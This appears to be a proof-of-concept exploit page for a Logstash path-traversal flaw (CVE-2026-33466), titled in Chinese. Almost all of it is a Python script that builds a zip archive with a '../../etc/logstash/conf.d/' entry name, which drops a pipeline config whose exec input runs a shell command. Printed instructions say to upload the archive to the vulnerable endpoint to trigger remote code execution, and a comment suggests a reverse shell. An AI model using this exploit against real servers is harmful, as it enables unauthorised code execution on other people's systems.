CVE-2026-33466 Logstash路径遍历致RCE漏洞

import zipfile import os # Create a zip file containing a path traversal payload # This simulates the malicious archive sent to Logstash zip_filename = "malicious_archive.zip" # Malicious Logstash pipeline configuration to achieve RCE # This config executes a shell command (e.g., creating a file or reverse shell) payload_content = """ input { exec { command => "touch /tmp/pwned_by_logstash" interval => 0 } } output { stdout {} } """ with zipfile.ZipFile(zip_filename, 'w') as zf: # Construct a filename with path traversal sequences # This attempts to write outside the intended extraction directory # Assuming Logstash reloads configs from /etc/logstash/conf.d/ zinfo = zipfile.ZipInfo("../../etc/logstash/conf.d/malicious_pipeline.conf") zinfo.compress_type = zipfile.ZIP_DEFLATED zf.writestr(zinfo, payload_content) print(f"[+] Created malicious archive: {zip_filename}") print("[+] Upload this to the vulnerable Logstash update endpoint.") print("[+] If automatic pipeline reload is enabled, RCE will be triggered.")